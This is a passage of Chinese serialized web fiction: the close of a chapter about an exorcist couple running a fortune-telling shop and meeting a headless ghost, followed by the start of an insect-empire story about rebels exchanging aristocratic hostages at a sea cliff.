白听川被人搀扶着坐到路边,脸色惨白如纸,整个人仿佛被抽空了灵魂。自从得知白振业在逃亡途中车祸身亡,他就一直是这副沉默不语的状态,低垂着头把脸深深埋进膝盖之间,手指死死揪住自己的头发,手背上青筋暴起,像是在极力压抑某种即将爆发的情绪。直到真相被揭露的前一刻,白振业在白听川心中始终是那个稳重可靠的父亲——他的榜样,他的信仰。母亲和弟弟曾是他生命里最重要的人,而父亲则是支撑这一切的支柱,可如今,这个支柱轰然崩塌,所有的信任与敬仰,都在这一夜之间化为泡影。白听川现在很想放肆大哭一场,可四周人来人往,多年来接受的教育让他不允许那么做,于是只好一个人躲在路边,极力平复着情绪。 “吃点东西。” 一道淡漠熟悉的男声陡然从头顶响起,赫然是去而复返的封凛,他把一片矿泉水和一袋面包放在白听川面前,语气平静,仿佛任何事情都不值得他上心, “为那种人伤心不值得。” 白听川红着眼眶神情复杂地看向他,干裂的唇瓣无声蠕动,似乎想说些什么,可封凛只是在他面前短暂停留片刻,就转身走向了白默年所在的方向。 白听川的视线模糊了,他望着封凛脱下外套轻轻裹在白默年肩头,弟弟单薄的身影几乎撑不起那件宽大的外套,心脏像是被钝刀反复凌迟,每一次跳动都牵扯出新的痛楚—— 那是他的弟弟啊。 小时候会每天笑着喊他“哥哥”的弟弟,脸蛋白净,长得又漂亮,偶尔会顶着 纯良无辜的脸做一些坏事,被发现了也让人舍不得责怪。 可自从十三年前被白振业当做祭品借命后,就一夜之间变得阴郁孤僻起来,沉默得像是要在时光流逝中逐渐腐烂一样,清瘦,苍白,被不知名的东西抽干了生命力。 白听川甚至想象不到弟弟在那个家里的每一分每一秒都是怎么度过的,每天面对着道貌岸然的刽子手,听着他们假惺惺的关心,甚至还要承受自己这个兄长毫无察觉的疏忽,那些被刻意回避的对视,那些欲言又止的沉默,此刻都成了扎在心脏上 的倒刺。 白听川突然低笑出声,笑声里带着自嘲的颤音,他终于明白,这个家里最天真的从来都是自己。 痛苦如潮水般漫上心头,逐渐变成一团阴霾凝聚在头顶上空,有对弟弟的愧疚,有被至亲背叛的愤怒,而封凛走向白默年时那个下意识的保护姿态,更是让某种隐秘的嫉妒在胃里翻腾。极酸,极苦,极涩。 而这些恰恰是魔鬼最好的养料。 一条体型庞大的黑蛇悄然出现在上空,然后贪婪吞吃着这团名为痛苦的情绪,鳞片在初升的阳光下泛着华丽的色泽,猩红的瞳仁眯起,难掩惬意和满足。 他早就说过,自己一定会赢到最后的。 另一边,陈骨生刚做完笔录准备离开,却被封凛拦住了去路,男人锐利的目光紧盯着他,问出了那个困扰已久的问题:“你为什么要帮我们?” “帮?” 陈骨生嘴角勾起一抹玩味的笑,慢悠悠摇头,“我们这行讲究价高者得,不过是换个雇主罢了。” 封凛皱眉:“什么意思?” 陈骨生没有直接回答,而是将目光投向封凛身后,意味深长笑道:“意思就是……有人开出了白振业给不起的价码,您说是不是,白先生?”最后句话轻飘地落下,封凛猛地回头看向身后,只见白默年恰好站在不远处,对方的脸上虽然没有任何表情,但封凛大熟恶他微负动的睫毛一那是白默年心虚的小动作。 封凛眼皮子一跳:“你给他送钱了?” 白默年没有回答,而是目光阴冷地盯着陈骨生,显然没想到这个奸商居然这么不守信用给他说漏嘴了,后者则轻轻算肩,笑着做了个抱歉的动作,转身拦了辆车离开了。 封凛气得脑瓜子嗡嗡疼,他眼见远处开来一辆出租车,直接抬手招停坐了上去,但没想到白默年以迅雷不及掩耳之势紧跟着坐了进来,“砰”一声把门锁死。 封凛咬牙切齿:“你坐上来干嘛?” 白默年紧紧抱着他的胳膊,哑巴也被逼得会说话了,干巴巴吐出三个字:“我错了。” 封凛闻言差点气笑了,他抬手就要把胳膊抽出来,但没想到白默年死活就是不松,仰起脸固执重复道:“我错了。” 封凛一噎:“你……. 白默年抢白:“我以后的钱都给你管。” 封凛:“你!” 白默年抱住他的脸亲了好几口:“吧唧吧唧!” “我存了好多钱。” 白默年退开时,眼睛弯成了月牙,封凛第一次发现他原来有酒窝, “都归你。” 189、完结 因为白默年的阻拦,封凛想追上陈骨生那个奸商把钱要回来的计划彻切底宣告失败,就连事后想起来要打12315举报,也被告知那家名叫“SiRompeng”的玄学店早就悄无声息倒闭了。陈骨生千里迢迢来到这里,仿佛只是为了了结这桩十几年前残留的因果,等事情结束后就悄无声息回了南洋。而白家在经过那起绑架案后,事业就开始一蹶不振,外界大肆谈论着有关白振业绑架亲儿子的丑闻,生意急转直下,仿佛白家前面十几年已经耗尽了所有的好运,现在到了该付出代价的时候。白默年没有理会母亲声泪俱下的恳求,静静收拾好为数不多的行李,头也不回地离开了白家。他没有再和任何人联系,包括白听川,仿佛已经斩断了和家族的最后一丝羁绊。接下来的日子里,白默年用自己积攒多年的存款一边投资理财,一边待在家里潜心作画,闲暇之余甚至资助封凛开了一家玄学店,免得他那群师弟师妹没有工作,每天苦哈哈地蹲在路边等生意,隔三差五还要被师父敲一回竹杠。当然,白默年是名义上的老板,钱由他管,工资也由他发,毕竟和封凛在一起久了,他也多多少少察觉到了一些端倪,自家对象好像是真的攒不住钱。例如白默年一声不吭给封凛转零花钱的时候,对方的钱总是会没得莫名其妙,就连封凛生日给他买辆新车的时候,停在路边不开都能被别人醉驾撞个稀巴烂,这运气简直没谁了。后面白默年也学乖了,店挂在自己名下,房子挂在自己名下,车也挂在自己名下,总而言之一句话,不能让封凛拥有任何价值超过三千块的个人财产。办公室里,白默年正坐在电脑前核对这个月的账目,他平常其实相当清闲,因为投资眼光极佳,光是那些基金和不动产收益都够躺几辈子了,更不提名下的几副画作都在拍卖行以高价成交,俨然已经成为艺术圈炙手可热的新锐画家。尽管如此,白默年还是最喜欢坐在玄学店那间不大不小的办公室里查账。这间办公室位置不算大,装修甚至透着一股子中老年人的风格,座椅后面的墙上挂着一副“招财进宝”的题字,左边摆富贵竹,右边摆文昌竹,对面是供着祖师爷的香案,桌角还有一只土了吧唧的大金蟾,以及一个被封凛使用频繁的烟灰缸。又俗,又土,但是还挺有烟火气。 “咔哒—“只听一声轻响,房门被人从外面打开,封凛拎着两份盒饭走了进来,他见白默年正在查账,随手轻敲桌面提醒道:“过来吃饭了,等会儿再看。”白默年又滚动了几下鼠标,这才起身走到旁边的沙发边和封凛一起吃饭,不知是不是因为他十几年没有说话了,尽管听力和嗓子已经恢复,但平常依旧是个沉默寡言的性格,双手闲着的时候更喜欢打手语。封凛坐在沙发上,把盒饭包装拆开,这是从对面那条小吃街买过来的,现炒的,热气腾腾,还挺香:“清逸把对面一条街都吃遍了,说这家炒饭最好吃,试试。”白默年瞥了一眼办公室大门,见已经关上了,这才伸手圈住封凛的脖颈,他现在不是很饿,就想和对象待一起贴贴。封凛低笑一声,只好把饭推到旁边,伸手把白默年捞到了怀里躺着,低头吻下去,舌尖轻触,让人浑身发麻。白默年的脸被亲红了,却还是死死圈住封凛的脖颈不松开,直到两个人都快缺氧了,这才稍微松了点力气。封凛懒洋洋倒在沙发上,胸膛轻轻起伏,随口问道:“这个月店里盈亏怎么样?没亏钱吧?”其实这家玄学店白默年一开始没打算赚钱,只是想着给封凛那些师弟师妹有个落脚的地方就行,但没想到他们身上还是有些真本事的,除了一开始的几个月没生意,后面基本上都是盈利状态。白默年枕在封凛腿上,侧脸贴着男人的腹肌,脸有些不自在地移开些许,用手语回答道: 【没亏。】封凛轻轻挑眉:“赚了多少?”白默年忍笑:【你老是这么关心店里收入做什么?】封凛轻“啧”了一声:“反正注定不能拥有,问问不行吗?也不知道是谁当初说把钱都给我管,现在老子账户里的钱还是四位数。”他怨念很深。这句话不知哪里戳到白默年的笑点,引得他唇角微扬,偏头默默笑了一会儿,片刻后才伸手比划,一本正经摇头: 【不行。】 【不能给你管。】 【否则你,我,清逸他们,全部都要去喝西北风了。】 封凛抓住他的手不许动,恼羞成怒:“闭嘴,不许说了。” 他好像忘了白默年会说话,而白默年也忘了自己会说话,每次在床上的时候都喜欢和封凛打手语,示意男人慢一些、停一下,封凛有时候不乐意听,就会把他的手用力扣在枕头边,然后故意说自己看不懂、看不见。性格恶劣。 白默年一动不动,任由封凛攥住自己的手,他墨色的发丝散落在男人腿上,那双眼睛还是清冷冷的干净,只是阴郁已经散去了很多,抬眼看来的时候藏着细碎的明亮喜欢,呼吸急促,就像无声的邀吻。封凛见状目光幽深了一瞬,他把人从腿上捞起来,然后拂开白默年眼前的碎发,正准备继续做些什么,紧闭的办公室门忽然被人从外面打开,两个人瞬间受惊似地弹出老远,沙发上放着的杂志噼里啪啦落了一地。 “砰——!” 清逸一脚踹开门,手里扬着一张旅游单,也不知发生了什么好事,整个人兴高采烈,进来的时候连敲门都忘了: “默年哥!我刚才去对面那家新开的旅游社帮人家看风水,老板送了我一个温泉池套票,可以打八折呢!咱们今年团建要不一起去吧,就在郊外,可近了……咦,大师兄,你也在啊?” 封凛一直认为别的师兄妹都是命中缺钱缺权,只有清逸,脑子里还缺根筋,他皱眉坐在沙发上整理了一下衣领,冷冷开口:“下次再敢不敲门就进来,我直接打断你的腿。” 白默年则低头捡起那些杂志,假装自己很忙碌的样子,但凌乱的头发还是泄露了几分刚才的情况, 可惜清逸是半点眼力劲都没有,他随口应了一声,然后就美滋滋跑到白默年面前继续忽悠:“默年哥,去吧去吧,过几天就下雪了,多冷啊,刚好泡个温泉,今年旅游都能直接省了,这可比去国外划算。”白默年迟疑看向他:“可你不是说今年想去国吗?” 清逸猛摇头:“那边鬼太凶!” 白默年:“你还说要去霓虹?” 清逸头摇的更厉害了:“有伽椰子和贞子,她们出来了我师兄都未必打得过。” 话音刚落,封凛直接一脚踹在他屁股上:“放你的屁!” 清逸“嗷”一声扑倒在地,手忙脚乱爬起来时,正对上封凛皮笑肉不笑的神情:“再磨磨唧唧,我直接给你们报名太华顶七日游,让你们和师父一起住个够!”师父的名声比鬼还好使,清逸闻言呲溜一声直接脚底抹油溜了,顺带着还关上了办公室大门,徒留一张蓝色的温泉度假村宣传单遗留在茶几上。 封凛随手捡起来看了眼,莫名觉得这个地方有点眼熟,不由得眉头一皱: “自闲山庄度假村… 他倏地抬头,总算想起来了,娘的,这不就是他上辈子去捉鬼结果被厉鬼给掏心整死的那个老林子吗?! 白默年见封凛脸色不佳,还以为他在为了清逸的事不高兴,走上前拽了拽他的袖子哄道:“你今年想去哪里旅游?都听你的。” 封凛咬牙切齿道:“就去温泉山庄!” 他目光灼灼,带着白默年看不懂的……热血和复仇? “把所有师弟师妹都带上!车不够就包辆大巴,咱们自己开!” 这次温泉山庄旅游其实是其余师弟师妹撺掇着让清逸去请命的,谁让他皮糙肉厚比较抗打呢,大家原本没抱什么希望,毕竟默年哥虽然挺大方的,但他们大师兄死抠门儿啊。 这个温泉山庄别看打八折,十几个人一起去消费还挺高,光私汤池就不少钱,折算下来还不如去报个外国旅游团划算,但没想到清逸居然成!功!了! “可以呀你,看来你在大师兄心里还是有点分量的。” 灵薇生平第一次对清逸刮目相看,后者也相当自傲:“那是,我可是从小被师兄打到大的情分,你们比不了。” 灵薇撇了撇嘴嫌弃走开,决定不和傻子说话。 这周末刚好没生意,白默年包了一个豪华大巴,带上十四五个师兄妹一起去温泉山庄度假,因为距离挺近,也不用收拾太多行李,大清早就叽叽喳喳一起出发了,中途遇见一些风景好的地方还停下来拍照野餐,原本中午就能抵达目的地,硬生生 给磨蹭成了晚上。 进山的夜路不好走,司机把车灯打到了最亮,然后在颠簸中摇摇晃晃往度假村开去,忽然一个猛烈颠簸,车轮底下像是卡到了什么东西,行驶间发出令人牙酸的骨骼碎裂声,司机见势不好,连忙急踩刹车,众人随着惯性狠狠前倾。 “吱呀——!”“师傅,怎么停车了?”“好像卡住石头了,你们别动,我下去看看。”司机解开安全带,直接拿着一个手电筒下车了,然后弯腰在车底下寻找故障,前面都没事,然而当光圈扫过后轮时,他的身形却彻底僵住了—一只见车轮缝隙间卡着一颗血淋淋的头颅,黑发被卷进轮胎里面,头皮撕裂,露出森白的骨骼,那张惨白的脸贴在轮胎缝隙间,瞪大的眼珠直勾勾盯着他,嘴唇还在微微蠕动。“啊——!!”司机惨叫出声,吓得魂飞魄散,一屁股跌坐在地,手电筒滚出老远。他手脚并用地往后爬,后背却突然撞上什么冰冷的东西。战战兢兢地回头—一具无头尸体正弯着腰,腐烂的手指在泥地上摸索着,像是在寻找什么,听到动静,她顿了顿,竟缓缓转向司机的方向,断裂的脖颈处还在往下滴着黑血。 司机:“ 他眼睛一翻,直接原地昏死了过去。 无头鬼见状没有理他,而是缓缓转身,朝着那辆满载游客的大巴车一步 步颤颜巍巍走去,在黑夜中看起来让人毛骨悚然,她已经很久没有饱餐 顿了,今天或许可以吃个饱。然而车上的游客并没有出现她预想中的惊慌失措,反而瞪大了眼睛惊奇看向她,然后齐刷刷从位置上站起来,动作一致地回头从包里掏着什么东西。 无头鬼一顿,敏锐察觉到了几分不对劲:“……” “淦!妖孽!看我清逸收了你!” 只听一声怒喝,坐在前排的清逸率先冲下车,手里拿着一摞黄符,十几名师弟师妹紧随其后,纷纷祭出了看家法宝,有黑狗血,有鸡血绳,有收妖盘,有念珠,气势惊人,在这个荒郊野外的大晚上简直正得发邪,仿佛下一秒就可以组团出道了。白默年见状下意识想起身,结果被封凛给按住了:“你待在上面别动。”他语罢直接从座椅底下抽出一把桃木剑,直接从车窗翻了出去,明显有备而来。他上辈子就死在这个厉鬼手里,今天总算能把账找回来了,十几个师弟师妹一起上,就连师父都得掂量掂量打不打得过,封凛就不信收拾不了这个无头鬼!无头鬼明显慌了,身躯踉跄后退了几步。 面前这十几名年轻人居然都是硬茬子,尤其是后面下来的那名冷峻男子,修为更是不俗,然而真正让她感到惊恐的却不是这群人身上的道光正气,而是那辆大巴车,里面有一股强大可怕的怨力,寒潭般深不见底,仿佛只要稍稍靠近,魂魄都要被冻碎撕裂了—— 那是一只比她还要狠戾的厉鬼。 无头鬼捡起自己滚落到脚边的头,那双眼睛惊恐看向车上,只见一名墨发青年正坐在靠窗位置静静注视着她,唇角缓缓勾起,弧度诡异,难掩警告与威慑。 “当啷!”无头鬼手里的头轱辘一声滚到了地上。她觉得自己的小命今天可能要交代在这里了。 作者有话说?显示所有文的作话 “……. 第189章完结 190、去死吧 [不必为我献上鲜花不必替我加冕荣耀,不必对我诸多赞誉,高贵如我,这一生并不需要去乞求谁的怜爱。] 维罗拉什之崖。 腥咸的海浪一遍又一遍冲击着悬崖峭壁,纯黑色的嶙峋山石覆上了一层厚厚的盐晶,因为到了季风时节,上面的孔洞发出阵阵幽怨哀愁的鲸歌,据传在远古时期,这里曾经虫巢遍布。 离岸不远,一座金属废弃仓库静静蛰伏在山崖侧面,犹如一头庞大的钢铁巨兽,太阳落山时的最后一点腥红余晖从残破的窗口斜射而入,照亮了里面混乱的情景。 只见十二名瑟瑟发抖的雄虫蜷缩着躲在角落处,昂贵的丝绸礼服被冷汗浸透紧紧贴在身上,连饰品也歪斜凌乱,却依旧无损于宝石的流光溢彩,只是落在这样糟糕的环境中显得格外刺目。通过他们华贵的衣着和娇生惯养的脸蛋,不难看出在南部地位崇高,可惜四周持枪巡视的叛军对此视若无睹,他们面罩后方的眼睛冰冷残忍,黑色的军靴在四周来回巡视,反复碾过一滩尚未干涸的血迹,然后拉出粘稠的红丝——早在两个小时前,一只不知死活的雄虫对着他们厉声咒骂,话未说完喉骨就被子弹轰然击碎,冰冷的尸体直挺挺倒在地上,在窗外海风的吹拂下逐渐僵硬变冷,滚烫的鲜血淌了一地。虫神啊! 那些娇生惯养的南部雄虫控制不住在心中哀嚎出声,他们从来没见过这么凶残的军雌,居然连雄虫都敢杀,北部和南部虽然一向不和,但从不会把柔弱而又珍贵的雄虫当做博弈筹码。 凯伦,那个在南部最喜欢用电流项圈折磨雌虫的纨绔,那个仗着雌父是警务处长横行霸道的恶少,刚才仅仅骂了句"低贱的北部杂种",就被叛军首领一枪毙命,那他们岂不是随时可能步对方的后尘? 这么一想,心中万念俱灰。 然而怕什么来什么,只听头顶上方的楼梯忽然传来一阵不堪重负的吱呀声响,原本在仓库二楼房间议事的几名叛军首领从里面陆陆续续走出,黑色的作战军靴踏过早已生锈的楼梯,动静沉闷,如同重锤敲在雄虫脆弱的心脏上。 一个 两…… 三个…. 当第三名叛军首领经过雄虫堆时,他修长的指尖忽然拽住了其中一个“倒霉蛋”的头发,那只雄虫捂住头皮发出一阵痛呼声,还以为自己要被拖出去枪毙,抱住对方冰冷的军靴涕泪横流恳求道: “求求你!求求你放过我吧!我还不想死!!你要什么我都可以给你!我可以陪你睡觉!给你做精神安抚!我的星网账户上还有几千万星币!只要你能放过我!!” 他话音刚落,四周就响起一阵此起彼伏的口哨声,那名叛军首领闻言用枪管抬起雄虫的下巴,暖昧描摹着对方惊恐颤抖的唇瓣,虽然带着作战面罩看不清面容,他的胸膛却轻轻震动,发出一阵低沉磁性的笑声: “哦~我刚才没有听错吧,罗宾少将的雄主居然肯纡尊降贵帮我做精神安抚?” 那名雄虫一听有戏,眼睛顿时亮起来,连忙激动点头:“愿意愿意!我愿意!” “哗!”下一秒,那名叛军首领忽然活动了一下脖颈,然后毫无预兆抬手摘下了脸上戴着的面罩,伴随着一声轻响,他银色的发丝瞬间倾泻而下,露出一张恍若出自上帝之手的完美侧脸。那只雄虫见状还没来得及暗喜,嘴角的笑意就瞬间凝固住了——银发雌虫微微偏头,便如月光流转,然而窥见的却不是顶级美色,而是自眉骨处直接撕裂到下颌的狰狞伤口。借着头顶明灭不定的灯光,雄虫这才看清对方的右脸竟然有七八道皮肉外翻的狰狞伤口,靠近耳侧的位置甚至还有一片火烙的痕迹,刚才好不容易结了血痂,经过这么一撕又瞬间裂开,殷红的鲜血肆意淌过白皙的皮肤,在阴影中好似恶鬼疹人。伤口间隐隐浮现出一个黑色的古老图腾,那是南部对于最高叛国者的烙印,无论用任何方式都无法抹去,雌虫脸上的伤口也证明了这一点。 “怎么样,是不是很眼熟?” 叛军首领忽然用力扼住面前这只雄虫咽喉,黑色的作战手套收紧时带来一阵粗糙的摩擦感,面罩后方的唇角微微勾起: “你们审讯处的刑具可是在我脸上足足折腾了一整个晚上呢,我想想,动手的好像就是罗宾少将?” 这只雄虫原本就被叛军首领可怖的右脸吓得抖若筛糠,骤一听闻对方说行刑的虫是自家雌君,只觉得小命休矣,裤管下方淅淅沥沥汇聚了一滩水痕,竟是直接吓尿,眼睛一翻直接昏死了过去。“哈琉斯——” 前方的一名叛军首领忽然回头看向他,面具后方的眉毛紧皱,显然不大赞成这么做, “我早就说过这个该死的烙印弄不掉,你就算把脸划烂了也没用,这些雄虫还要留着和那些南部军队做交易,你弄死一个筹码就少一个!” 哈琉斯闻言低笑一声,然后将那只吓尿的雄虫扔到一旁,他举起双手懒懒赖后退两步做投降状,目光扫过那些鹌鹑般瑟瑟发抖的雄虫,语气玩味: “好吧~好吧~那就让我们再换个胆大一点的……” 话音刚落,他幽暗的眼眸忽然危险眯起,定格在了这座废弃仓库中间唯一的一张沙发上,只见上面躺着一只姿态悠闲的雄虫,脸上盖着本杂志睡得正香,因为对方没有穿着叛军服饰,所以很好辨认。 哈琉斯冷冷看向部下,意思很明确,这只“筹码”凭什么这么舒服?别的雄虫都捆着蹲在地上,只有他躺在沙发上睡大觉。 部下心虚低头,磕磕绊绊解释道:“首领,你只说别让他们跑了,没说不能睡沙发上,这只雄虫刚才说他困了,问能不能睡一觉,所以……所以……” 哈琉斯胸腔蓦地溢出一声讥笑:“呵——” 被气的。 他们可是绑匪,这个猪头以为他们在办雄虫托儿所吗? “滚!” 轻飘飘一个字就让那名部下变了脸色,连忙跑去二楼和值守的同伴换了个岗位。 哈琉斯面无表情扣动扳机,直接对准那名躺在沙发上睡觉的雄虫,然后“砰”一声打飞了对方脸上的杂志。在漫天飞舞的纸屑中,对方终于伸了个懒腰起身,当那张脸彻底暴露在空气中时,四周忽然有了片刻静默,就连哈琉斯持枪的手也微不可察一顿。 杂志碎片纷飞如雪,缓缓落在那只雄虫丝绸般流泻的墨发上,一条昂贵的织金丝带松松扎起辫子,柔顺落在肩头右侧,周身气息典雅高贵,当对方抬眼看过来的瞬间,琉璃般的紫色眼眸恰好倒映着头顶上方昏黄的灯光,说不出的惊艳难描,整个 破旧的仓库都因为他的容貌而满室生辉。 整个南部最为高贵、最为貌美的雄虫——厄兰维多冕下。 他出身贵族世家,身上甚至流淌着一半的皇室血统,SSS级的稀缺精神力让他成为世间众多雄虫可望而不可即的存在,没想到竟然会被叛军抓来这里。 怪不得刚才值守的叛军对他放肆的举动视若无睹,这张脸如果不用杂志盖住,未免太过蛊惑心神。 “阁下……. 这只雄虫漫不经心抬手挥开眼前飘落的纸屑,冰冷的电子镣铐在他苍白骨感的手腕上轻轻晃动,仿佛成为了某种昂贵的饰品,他唇边笑意若隐若现,长得好看连声音也动听,却带着一股颓靡慵懒的餍足感,“不得不说,您好像有些太粗鲁了。” 哈琉斯短暂失神一瞬,很快就恢复了清醒,他们这次袭击行动原本是想随便抓几只贵族雄虫逼迫南部妥协,没想到阴差阳错钓了条大鱼上来,厄兰的身份和名头实在太响,地位可不是那群垃圾货能比的。冷冽的气息忽然袭近,带有余温的枪管怡好抵住太阳穴,叛军首领张伤痕交错的可怖面容陡然出现在厄兰眼前,鼻翼间充斥着腥甜的气息: “冕下,这里可不是您富丽堂皇的住宅,而是随时会流血的战场,和一群绑匪讲风度,您不觉得太可笑了吗?” “我和您的未婚夫缇宁少将,可是很熟、很熟呢。” 那几个字被他咬得极重,听起来不像很熟,倒像是有什么深仇大恨。 厄兰并未被雌虫可怖的面容吓到,恰恰相反,他甚至轻轻仰了仰头,温热的呼吸不经意掠过对方的唇瓣,近到仿佛要吻上去似的,眉心微蹙,让虫生怜,却带着贵族虚情假意的特质: “是吗,那可真是太好了,不知道您会不会看在缇宁少将的面子上……对我手下留情几分呢?” 最后几个字从舌尖温吞吐出,竟有一种缱绻多情的错觉。 哈琉斯没想到这只雄虫会忽然靠近自己血肉模糊的侧脸,眉心一皱,条件反射偏头避开,他并没有被对方颠倒众生的容貌所蛊惑,而是将手中冰冷的枪管缓缓下移,漫不经心抵住对方的咽喉,不怀好意吐出了两个字:“当然。” 他恶劣勾唇, “三年前就是他在军事法庭亲口给我盖上了叛国者的罪名,你说我们熟不熟?啊~不如这样好了,我现在就带你去见他?” 厄兰脸上的笑意微不可察一僵,显然没想到这只雌虫不按套路出牌,他委婉开口:“其实我和缇宁少将的关系并不怎么好,他虽然是我的未婚夫,但喜欢的另有其虫。”虫神作证,他说的可句句都是实话。 哈琉斯用枪身轻轻拍了拍他的脸,声音刻意压低,听起来居然“温和”又“好心”:“我当然知道,那只名叫海瑟的雄虫对不对?所以我会把你们两个一起带过去见他。”这只雌虫看起来和缇宁的关系不一般,不仅知道自己是缇宁的未婚夫,甚至还知道缇宁真正喜欢的雄虫是海瑟。 厄兰隐隐觉得对方的面容看起来有些眼熟,自己好像在哪里见过,然而还没等他想出来答案,下一秒就和一名金发雄虫被带出了仓库,只是相比于他的闲适和顺从,海瑟明显要硬骨头得多,冷冷咒骂道:“你们这群可恶的叛军,休想用我去威胁缇宁!有本事就一枪杀了我!!” “砰!” 那只银发雌虫已经重新戴上了面罩,迷彩色的温感呼吸布料层最外面是一张看起来冷冰阴鸷的银色面具,他闻言直接反手一枪击中海瑟的手臂,然后在对方痛苦的闷哼声中慢悠悠看向厄兰:“冕下,您也和他是一样的意思吗?” “当然不。” 厄兰深觉自己身娇肉贵,可吃不了这种苦,他主动走到这名可怕的叛军首领身旁,示意对方可以把枪架上自己的脖子,雄虫天生自带的腺体信息素香气盖过了海风的咸腥味,闻起来甜丝丝的,面上是笑吟吟的:“您请便。” 哈琉斯一把将这只恍若造物主最完美作品的雄虫拽到身前扼住咽喉,粗粝的黑色手套缓缓划过对方脆弱的皮肤,在耳畔低低喟叹出声:“真乖……”只是他接下来做的事却比他话语中的呵护之意无耻太多。 早在半个月前,南部中心城举办了一场顶级拍卖会,现场堪称贵族云集,但没想到负责守卫的军队出现了卧底,那群反叛军直接挟持数十名尊贵柔弱的雄虫逃到了海岸附近,军方高层震怒,勒令缇宁少将一定要把那些雄虫完完整整地带回来。 要知道反叛军一旦穿过那片海域就进入了北部范围,再想追回就鞭长莫及了。 缇宁带着军队一路追踪到维罗拉什之崖附近,最后锁定叛军就藏在那间废弃仓库里,只是碍于里面有雄虫不敢轻易开枪火拼,好在那群叛军也不是真正的亡命之徒,互相交涉几天后终于提出了他们的要求—— 释放星际监狱里关着的所有反叛军。 南部虽然答应,但也提出了一个要求,为免反叛军言而无信,他们要求先释放三只雄虫,地点就在维罗拉什之崖上方。 “缇宁少将,好久不见。” 哈琉斯带着自己的部下站在悬崖右侧,身上黑金色系的军服几欲融入黑夜,和对面那群南部军雌圣洁的白色形成了鲜明对比,他一手扼住厄兰的咽喉,另外一只手持枪抵住对方的脖颈,只是姿态亲密太过,看起来不像威胁,倒像是调情。“还满意吗,我特地带了这两只雄虫来交换。” 海瑟在另外一名叛军手里,只是他手臂中枪,看起来情况不大妙,脸色苍白,几乎是半跪在地上的。 悬崖另外一边的缇宁少将见状瞳孔骤缩,忍不住冲上前两步:“哈琉斯!你把海瑟怎么样了?!” 哈琉斯没有搭理缇宁,而是饶有兴趣在厄兰耳畔低语:“怎么办厄兰冕下,您的未婚夫看起来好像一点也不在意您的死活呢?” “他不重要,”厄兰笑着偏头,玫瑰色的唇瓣不经意擦过银色面具冰冷的鼻尖,仿佛无时无刻不在撩拨调情,低声反问道:“只要你在意我的死活就够了,难道不对吗?” 他虽然在笑,紫罗兰色的眼睛在夜幕中却悄然闪过一抹幽深的情绪。 缇宁这个不入流的货色,自己早晚会让他尝到后悔的滋味,把对方那双瞎了的虫眼捐给研究所! 不过在此之前,他还是先在这个变态反叛军的手里保住性命要紧。 厄兰思及此处,安静垂下了眼眸,在枪管的挟持下显得相当配合。 缇宁脸色难看:“我们的条件是让你先释放三只雄虫,你为什么只带来了两只?!” 哈琉斯却轻晃枪口,说出一句让虫气吐血的话:“三只?不不不,缇宁少将,我想你可能误解了我的意思,不是三只,而是一只。” “厄兰冕下,海瑟阁下,二选一吧,怎么样?” 南部那边的队伍瞬间引起一阵骚动,无论从家世背景还是血统来看,他们当然会第一时间选择交换厄兰冕下,只是谈判官依旧不死心的想多争取几个 “哈琉斯,我们之前说好了先释放三只雄虫表示诚意,如果你出尔反尔,很难让我们相信你在后面的合作中不会耍花招,要不这样,你把这两位阁下放了,明天一早我们就把被关押的反叛军全部带这里和你交换,怎么样?”“不怎么样。” 哈琉斯微笑吐出一句话,枪口下移,直接扣动扳机,伴随着一声响彻黑夜的动静,原本半跪在地上的海瑟忽然膝盖中弹,发出一声痛苦的惨叫,雄虫身上的血腥味被海风吹到对岸,让南部军雌瞬间变了脸色,愤怒咒骂不休。“哈琉斯!你伤害雄虫一定会遭到天谴的!!” “虫神在上,你死后将会下地狱!” “海瑟阁下如果死了你休想平安离开南部!” 刚才枪响的时候厄兰还以为目标是自己,吓得心脏一突,结果还没等他平复心情,带着余温的枪口又重新抵住了自己的额头,耳畔响起那名反叛军首领戏谑的声音 “怎么样缇宁少将,你还是不打算选吗,下一枪我可不保证自己会打中哪里哦,还是说你想带两具尸体回去?” 缇宁牙关紧咬,额头青筋暴起:“哈琉斯,你有什么不满尽管冲着我来,伤害弱小的雄虫你不觉得无耻吗?!” 很明显,哈琉斯不觉得。 他指尖轻动,作势叩响扳机,就在子弹即将出膛的那一刹那,悬崖另外一边终于响起缇宁愤怒的吼声:“住手,我换!!!” 哈琉斯语气愉悦,顺势停住动作,摆出一副洗耳恭听的模样:“谁?” 缇宁脸色苍白,额头满是冷汗,他的目光先是在气息奄奄的海瑟身上停留片刻,最后又落在厄兰身上,一咬牙一狠心,吐出让所有部下闻之色变的话: “我选海瑟!” 部下惊慌出声:“少将!那厄兰冕下怎么办?!” 暂目不提这位冕下高贵的血统和出身,光是他身为帝国秘书长的雄父和位居上将的雌父就足够他们喝一壶了,万一厄兰冕下有什么损伤,他们就算把所有雄虫全部带回去也免不了问责!缇宁压低声音愤怒道:“你没看见海瑟受了伤吗?!再不治疗他会死的!” 语罢顿了顿,冷冷吐出一句只有他们两个能听见的话:“一切按照原计划进行!” 南部自然不可能任由这群叛军在地盘上肆意妄为,然后大摇大摆逃回北部,让他们提前释放三只雄虫不过是调虎离山之计罢了,就在双方交接海瑟的时候,果然异变突生。 “砰!!” 只听一声突兀的枪响划破长夜,黑暗中忽然涌出数不清的军雌朝着废弃仓库所在的方向袭去,叛军很快意识到这群南部军雌是想趁乱偷袭,拔枪怒吼道:“拦住他们!”缇宁见状眸光一凛,直接把海瑟交给医务官,然后带领部下冲上前和那群叛军混战在一起,数不清的光能弹在空中交织,真正诠释了“枪林弹雨”这个词,血液腥气一度盖过了海水的咸涩味。“快放了厄兰冕下!” 有十几名南部军雌冲上前想抢夺厄兰,扔了枪械与哈琉斯搏斗在一起,哈琉斯见状讥讽一笑,直接把厄兰往旁边一推,冲入包围圈展开了厮杀。 缇宁趁着哈琉斯无法脱身的时机,连忙冲上前攥住厄兰的手腕压低声音道:“快!和我走!” 然而缇宁用力拽了一下,厄兰却纹丝不动,在皎洁的月色照耀下,雄虫终于转身看向他,那张精致的面容凑近了看愈发显得惊心动魄起来,唇边带着一丝诡异的微笑: “真抱歉,缇宁… 他没由来发出一声叹息。 就在缇宁还没想明白厄兰为什么要给自己道歉时,下一秒耳畔就响起一道枪声,腹部炸开一朵血花,他不可置信低头,却见雄虫手中不知何时多了一把捡到的微型光能枪,漆黑的枪口还在冒烟。缇宁震惊后退两步:“你…!” 厄兰静静望着他,低沉的声音在耳畔响起,却是别样的温柔残忍,一字一句轻声道: “在垃圾堆里撒过野的货色就别来我面前碍眼了,脏——” 